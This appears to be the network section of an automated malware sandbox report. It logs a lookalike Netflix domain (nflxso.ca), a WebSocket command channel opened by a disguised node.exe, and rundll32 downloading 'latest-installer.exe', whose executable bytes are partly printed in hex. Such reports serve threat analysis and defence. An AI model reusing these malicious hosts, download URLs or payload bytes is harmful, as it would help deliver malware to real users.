May 1, 2024 11:09:57.805550098 CEST	1.1.1.1	192.168.2.4	0xb277	No error (0)	register.nflxso.ca		147.182.137.203	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

files.nflxso.ca

www.google.com

apis.google.com

fs.microsoft.com

slscr.update.microsoft.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49757	74.201.73.52	6101	8964	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 11:08:54.387012005 CEST	237	OUT	GET /strvn HTTP/1.1 Sec-WebSocket-Version: 13 Sec-WebSocket-Key: R0PH52ZGGW4pHocLPSKo4A== Connection: Upgrade Upgrade: websocket Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits Host: register.nflxso.ca:6101
May 1, 2024 11:08:54.507878065 CEST	183	IN	HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: YVu3JLflsutW2ZDAeo1ncGhfbf0= Date: Wed, 01 May 2024 09:08:53 GMT uWebSockets: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49758	172.67.152.151	80	8964	C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe

Timestamp	Bytes transferred	Direction	Data
May 1, 2024 11:08:57.438606024 CEST	186	OUT	GET /downloads/winapp/latest-version.txt HTTP/1.1 user-agent: got (https://github.com/sindresorhus/got) accept-encoding: gzip, deflate, br Host: files.nflxso.ca Connection: close
May 1, 2024 11:08:57.592268944 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 01 May 2024 09:08:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://files.nflxso.ca/downloads/winapp/latest-version.txt CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCwjHbzT4tXkwj9CPfghixS5o%2B3CFzpWSvdf73MFQD%2F10htxa5DDyRZ9cAPGIwH6BgTq0KHBEwug76b9LtGZtRooa16cwxuj70ZWioje3HD%2FFUL0jFapNcvR0RKwZ2oQ45k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cea1434d6e81e8-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 62 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: b2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
May 1, 2024 11:08:57.592288017 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.152.151	443	7608	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:06 UTC	179	OUT	GET /downloads/winapp/latest-installer.exe HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/5.0 (Windows) WinHTTP/Gecko Chrome/9999999 Host: files.nflxso.ca
2024-05-01 09:08:06 UTC	692	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 09:08:06 GMT Content-Type: application/octet-stream Content-Length: 7055674 Connection: close last-modified: Wed, 23 Nov 2022 20:15:22 GMT etag: "637e7f5a-6ba93a" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XTDzoGh%2FqbMYtqlZJBTtkezd8cCixkxBIcFssLMuG5bUGAL0UaeoG6TUIh1cCy9%2FlwqeTmc5CUnRrPWIa96y4%2BX4mWloVqGGsH6E4VrHlwi3ZkSGa1naV3fg6rtaF%2BGPZuA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87cea0033cbd2076-IAD alt-svc: h3=":443"; ma=86400
2024-05-01 09:08:06 UTC	677	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 79 7f 15 5c 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 66 00 00 00 8a 06 00 00 40 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELy\f@
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 33 c0 5e c2 08 00 b8 ff ff ff 7f eb f5 8b 44 24 04 8b 0d 54 02 47 00 6a 00 ff 74 81 6c e8 69 ff ff ff c2 04 00 68 d8 e5 40 00 ff 74 24 08 e8 1f 40 00 00 c2 04 00 55 8b ec 81 ec d4 02 00 00 53 56 8b 75 08 57 a1 48 02 47 00 6a 07 59 8d 7d d4 f3 a5 8b 4d dc 8b 55 d4 bf 00 10 47 00 89 45 f8 8b 45 d8 33 db c1 e1 0e 03 cf 8b f0 89 4d f4 8d 4d d8 c1 e6 0e 89 0d 34 e6 41 00 8d 4a fe 03 f7 83 f9 43 89 5d fc 0f 87 3b 16 00 00 ff 24 8d d7 2a 40 00 53 50 e8 b8 3f 00 00 e9 5a 0e 00 00 ff 05 0c 82 46 00 39 5d f8 0f 84 4b 0e 00 00 53 ff 15 94 82 40 00 e9 3f 0e 00 00 50 e8 af fe ff ff 48 53 50 e8 c3 fe ff ff e9 05 16 00 00 53 50 e8 7e 3f 00 00 e9 ee 15 00 00 53 e8 42 17 00 00 83 f8 01 59 89 55 b4 7f 03 33 c0 40 50 ff 15 78 80 40 00 e9 d0 15 00 00 ff 75 f8 ff 15 64 82 40 Data Ascii: 3^D$TGjtlih@t$@USVuWHGjY}MUGEE3MM4AJC];$*@SP?ZF9]KS@?PHSPSP~?SBYU3@Px@ud@
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 01 e8 e4 12 00 00 50 e8 9b 4a 00 00 e9 2a 0c 00 00 6a 02 e8 b0 12 00 00 6a 03 89 45 b0 89 55 b4 e8 a3 12 00 00 59 8b f8 8b 45 b0 59 6a 01 89 7d cc 89 55 d0 89 45 08 e8 ae 12 00 00 50 89 45 c4 e8 62 4a 00 00 39 5d b4 66 89 1e 75 03 89 45 08 39 5d 08 0f 84 15 11 00 00 8b 4d cc 3b cb 7d 0b 8d 3c 08 3b fb 0f 8c 03 11 00 00 3b f8 7e 02 8b f8 8b 45 c4 8d 04 78 50 56 e8 13 4a 00 00 39 5d 08 7d 0e 56 e8 1e 4a 00 00 01 45 08 79 03 89 5d 08 8b 45 08 3d 00 20 00 00 0f 8d cf 10 00 00 66 89 1c 46 e9 c6 10 00 00 6a 20 e8 3b 12 00 00 6a 31 8b f0 e8 32 12 00 00 39 5d e8 50 56 75 12 ff 15 04 81 40 00 85 c0 75 7c 8b 45 e0 e9 a8 10 00 00 ff 15 1c 81 40 00 eb ec 33 ff 47 57 e8 08 12 00 00 68 00 20 00 00 56 50 89 45 08 ff 15 24 81 40 00 85 c0 74 13 39 5d e0 74 14 56 ff 75 08 Data Ascii: PJ*jjEUYEYj}UEPEbJ9]fuE9]M;}<;;~ExPVJ9]}VJEy]E= fFj ;j129]PVu@u\|E@3GWh VPE$@t9]tVu
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 84 8b 45 e4 89 45 98 66 8b 06 66 f7 d8 1b c0 89 5d 8c 23 c6 89 45 88 66 8b 07 66 f7 d8 1b c0 c7 45 94 00 90 4c 00 23 c7 89 45 90 8d 85 7c ff ff ff 50 e8 2d 3b 00 00 85 c0 0f 84 9c 09 00 00 f6 45 80 40 0f 84 cc 0b 00 00 ff 75 b4 e8 72 49 00 00 ff 75 b4 eb 47 53 e8 35 0d 00 00 8b f0 56 6a eb e8 3a 35 00 00 56 e8 b5 3a 00 00 8b f0 3b f3 0f 84 65 09 00 00 39 5d e0 74 21 56 e8 42 49 00 00 39 5d dc 7c 0b 50 ff 75 f4 e8 f0 43 00 00 eb 0b 3b c3 74 07 c7 45 fc 01 00 00 00 56 ff 15 20 81 40 00 e9 6d 0b 00 00 6a 02 e8 e2 0c 00 00 50 e8 c6 47 00 00 8b f8 3b fb 74 13 ff 77 14 ff 75 f4 e8 b9 43 00 00 ff 77 18 e9 ef f5 ff ff 8b 45 f4 66 89 1e 66 89 18 e9 ff 08 00 00 6a ee e8 ae 0c 00 00 8d 4d b4 89 45 d0 51 50 6a 09 e8 20 48 00 00 ff d0 8b f8 8b 45 f4 66 89 1e 3b fb 66 Data Ascii: EEff]#EffEL#E\|P-;E@urIuGS5Vj:5V:;e9]t!VBI9]\|PuC;tEV @mjPG;twuCwEffjMEQPj HEf;f
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 00 00 e8 c1 08 00 00 3b c3 89 45 08 0f 84 aa 06 00 00 33 c0 83 fe 01 bf d8 25 41 00 75 11 6a 23 e8 13 08 00 00 57 e8 ca 3f 00 00 8d 44 00 02 83 fe 04 75 12 6a 03 e8 db 07 00 00 59 a3 d8 25 41 00 56 89 55 d0 58 83 fe 03 75 0f 68 00 c0 00 00 57 53 ff 75 e4 e8 73 0d 00 00 50 57 ff 75 b4 53 ff 75 c4 ff 75 08 ff 15 28 80 40 00 85 c0 75 03 89 5d fc ff 75 08 e9 d3 00 00 00 68 19 00 02 00 e8 f3 07 00 00 6a 33 8b f8 e8 aa 07 00 00 3b fb 66 89 1e 0f 84 e9 03 00 00 8d 4d b4 c7 45 b4 00 40 00 00 51 8d 4d 08 56 51 53 50 57 ff 15 2c 80 40 00 33 c9 41 85 c0 75 2e 83 7d 08 04 74 13 39 4d 08 74 06 83 7d 08 02 75 1d 8b 45 e8 89 45 fc eb 74 ff 36 33 c0 39 5d e8 56 0f 94 c0 89 45 fc e8 41 3e 00 00 eb 66 66 89 1e 89 4d fc eb 5e 68 19 00 02 00 e8 7f 07 00 00 6a 03 8b f8 e8 14 Data Ascii: ;E3%Auj#W?DujY%AVUXuhWSusPWuSuu(@u]uhj3;fME@QMVQSPW,@3Au.}t9Mt}uEEt639]VEA>ffM^hj
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 08 e8 28 36 00 00 57 ff 15 28 81 40 00 53 53 ff 75 08 6a ff e8 5b 08 00 00 89 45 d0 ff 75 08 ff 15 20 81 40 00 39 5d d0 6a f3 5e 7d 13 6a ef 5e ff 75 c8 ff 15 40 81 40 00 c7 45 fc 01 00 00 00 56 e9 a3 f8 ff ff 53 e8 71 02 00 00 8b f8 59 3b 3d 8c 02 47 00 89 55 b4 0f 83 cb fe ff ff 8b f7 8b 45 e0 69 f6 18 40 00 00 03 35 88 02 47 00 3b c3 7c 19 8b 0c 86 75 11 83 c6 18 56 ff 75 f4 e8 02 3a 00 00 e9 da 00 00 00 51 eb 7a 83 c9 ff 2b c8 89 4d e0 74 10 6a 01 e8 20 02 00 00 59 89 55 b4 89 45 dc eb 10 ff 75 e8 8d 46 18 50 e8 f6 39 00 00 80 4e 09 01 8b 45 e0 8b 4d dc 89 0c 86 39 5d e4 0f 84 9b 00 00 00 57 e8 4d e7 ff ff e9 90 00 00 00 53 e8 e4 01 00 00 83 f8 20 59 89 55 b4 0f 83 43 fe ff ff 39 5d e4 74 25 39 5d e0 74 0f 50 e8 41 e8 ff ff 53 53 e8 90 e7 ff ff eb 64 Data Ascii: (6W(@SSuj[Eu @9]j^}j^u@@EVSqY;=GUEi@5G;\|uVu:Qz+Mtj YUEuFP9NEM9]WMS YUC9]t%9]tPASSd
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 42 00 74 08 56 e8 39 39 00 00 eb 66 ff 15 7c 80 40 00 3b 05 50 02 47 00 76 58 39 35 48 02 47 00 74 2d f6 05 14 03 47 00 01 74 47 e8 87 ff ff ff 50 8d 45 80 68 80 a0 40 00 50 ff 15 90 82 40 00 83 c4 0c 8d 45 80 50 56 e8 48 25 00 00 eb 23 56 68 f3 2d 40 00 56 6a 6f ff 35 40 02 47 00 ff 15 88 82 40 00 6a 05 50 a3 dc a6 42 00 ff 15 68 82 40 00 5e c9 c3 55 8b ec 81 ec 2c 02 00 00 53 56 33 db 57 89 5d fc 89 5d f8 ff 15 7c 80 40 00 be 00 d0 4d 00 68 00 20 00 00 05 e8 03 00 00 56 53 a3 50 02 47 00 ff 15 88 80 40 00 6a 03 68 00 00 00 80 56 e8 6b 2f 00 00 8b f8 83 ff ff 89 3d 18 a0 40 00 75 0a b8 b8 a2 40 00 e9 45 02 00 00 56 be 00 d0 4c 00 56 e8 52 34 00 00 56 e8 6d 2d 00 00 50 68 00 10 4e 00 e8 41 34 00 00 53 57 ff 15 84 80 40 00 3b c3 a3 e0 a6 42 00 8b f0 0f 8e Data Ascii: BtV99f\|@;PGvX95HGt-GtGPEh@P@EPVH%#Vh-@Vjo5@G@jPBh@^U,SV3W]]\|@Mh VSPG@jhVk/=@u@EVLVR4Vm-PhNA4SW@;B
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: ff ff ff 53 53 50 ff 35 1c a0 40 00 ff 15 44 81 40 00 eb 0e 83 c8 ff eb 13 6a fe eb 02 6a fd 58 eb 0a 6a 01 e8 51 fa ff ff 59 33 c0 5f 5e 5d 5b c2 04 00 ff 74 24 08 ff 74 24 08 ff 35 18 a0 40 00 e8 07 2b 00 00 c2 08 00 6a 00 6a 00 ff 74 24 0c ff 35 18 a0 40 00 ff 15 44 81 40 00 c2 04 00 56 be 00 50 4d 00 56 e8 fc 31 00 00 56 e8 ae 28 00 00 85 c0 75 02 5e c3 56 e8 2b 28 00 00 56 e8 04 25 00 00 56 68 00 10 4d 00 e8 6a 2a 00 00 5e c3 81 ec d4 02 00 00 53 56 57 6a 20 5f 33 db 68 01 80 00 00 89 5c 24 14 c7 44 24 10 30 a2 40 00 89 5c 24 1c ff 15 ac 80 40 00 ff 15 a8 80 40 00 25 ff ff ff bf 66 3d 06 00 a3 4c 02 47 00 74 11 53 e8 d8 32 00 00 3b c3 74 07 68 00 0c 00 00 ff d0 be b0 82 40 00 56 e8 52 32 00 00 56 ff 15 50 81 40 00 8d 74 06 01 80 3e 00 75 ea 6a 0a e8 Data Ascii: SSP5@D@jjXjQY3_^][t$t$5@+jjt$5@D@VPMV1V(u^V+(V%VhMj*^SVWj _3h\$D$0@\$@@%f=LGtS2;th@VR2VP@t>uj
2024-05-01 09:08:06 UTC	1369	IN	Data Raw: 20 50 68 ec a2 40 00 53 ff 15 14 80 40 00 53 53 8d 44 24 24 53 50 53 ff 74 24 28 c7 44 24 34 01 00 00 00 c7 44 24 40 02 00 00 00 ff 15 00 80 40 00 6a 04 e8 1d 2e 00 00 3b c3 be 02 00 04 80 74 0c 56 6a 25 53 53 53 ff d0 85 c0 74 0d 56 6a 02 ff 15 4c 82 40 00 85 c0 75 07 6a 09 e8 3d da ff ff a1 0c 03 47 00 83 f8 ff 74 04 89 44 24 10 ff 74 24 10 ff 15 70 80 40 00 a1 18 a0 40 00 56 8b 35 20 81 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 18 a0 40 00 ff a1 1c a0 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 1c a0 40 00 ff e8 29 00 00 00 6a 07 68 00 90 4d 00 e8 d4 20 00 00 5e c3 56 8b 35 ec 66 43 00 eb 0a ff 74 24 08 ff 56 04 8b 36 59 85 f6 75 f2 5e c2 04 00 56 8b 35 ec 66 43 00 6a 00 e8 d7 ff ff ff 85 f6 74 1a 57 8b fe 8b 36 ff 77 08 ff 15 68 81 40 00 57 ff 15 28 81 40 00 85 f6 Data Ascii: Ph@S@SSD$$SPSt$(D$4D$@@j.;tVj%SSStVjL@uj=GtD$t$p@@V5 @tP@@tP@)jhM ^V5fCt$V6Yu^V5fCjtW6wh@W(@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	142.251.16.147	443	8000	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-01 09:08:13 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 09:08:13 UTC	1479	IN	HTTP/1.1 200 OK Version: 628208705 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Content-Disposition: attachment; filename="f.txt" Date: Wed, 01 May 2024 09:08:13 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-01 09:08:13 UTC	1479	IN	Data Raw: 39 32 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 52 61 20 67 62 5f 69 62 20 67 62 5f 55 64 20 67 62 5f 6f 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 5c Data Ascii: 924)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ra gb_ib gb_Ud gb_od\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\
2024-05-01 09:08:13 UTC	868	IN	Data Raw: 33 64 5c 22 67 62 5f 4a 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 39 64 20 67 62 5f 4b 63 20 67 62 5f 37 64 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 47 6f 6f 67 6c 65 5c 22 20 68 72 65 66 5c 75 30 30 33 64 5c 22 2f 3f 74 61 62 5c 75 30 30 33 64 72 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4f 63 20 67 62 5f 36 64 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f Data Ascii: 3d\"gb_Jc\"\u003e\u003ca class\u003d\"gb_9d gb_Kc gb_7d\" aria-label\u003d\"Google\" href\u003d\"/?tab\u003drr\"\u003e\u003cspan class\u003d\"gb_Oc gb_6d\" aria-hidden\u003d\"true\" role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/
2024-05-01 09:08:13 UTC	700	IN	Data Raw: 32 62 35 0d 0a 6d 2f 6d 61 69 6c 2f 3f 74 61 62 5c 75 30 30 33 64 72 6d 5c 75 30 30 32 36 61 6d 70 3b 6f 67 62 6c 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 5c 75 30 30 33 65 47 6d 61 69 6c 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4b 20 67 62 5f 4c 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 61 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 53 65 61 72 63 68 20 66 6f 72 20 49 6d 61 67 65 73 20 28 6f 70 65 6e 73 20 61 20 6e 65 77 20 74 61 62 29 5c 22 20 64 61 74 61 2d 70 69 64 5c 75 30 30 33 64 5c 22 32 5c 22 20 68 72 65 66 5c 75 30 Data Ascii: 2b5m/mail/?tab\u003drm\u0026amp;ogbl\" target\u003d\"_top\"\u003eGmail\u003c\/a\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_K gb_L\"\u003e\u003ca class\u003d\"gb_J\" aria-label\u003d\"Search for Images (opens a new tab)\" data-pid\u003d\"2\" href\u0
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 38 30 30 30 0d 0a 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 67 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 Data Ascii: 8000e\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_g\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0
2024-05-01 09:08:13 UTC	1255	IN	Data Raw: 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 Data Ascii: 0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9
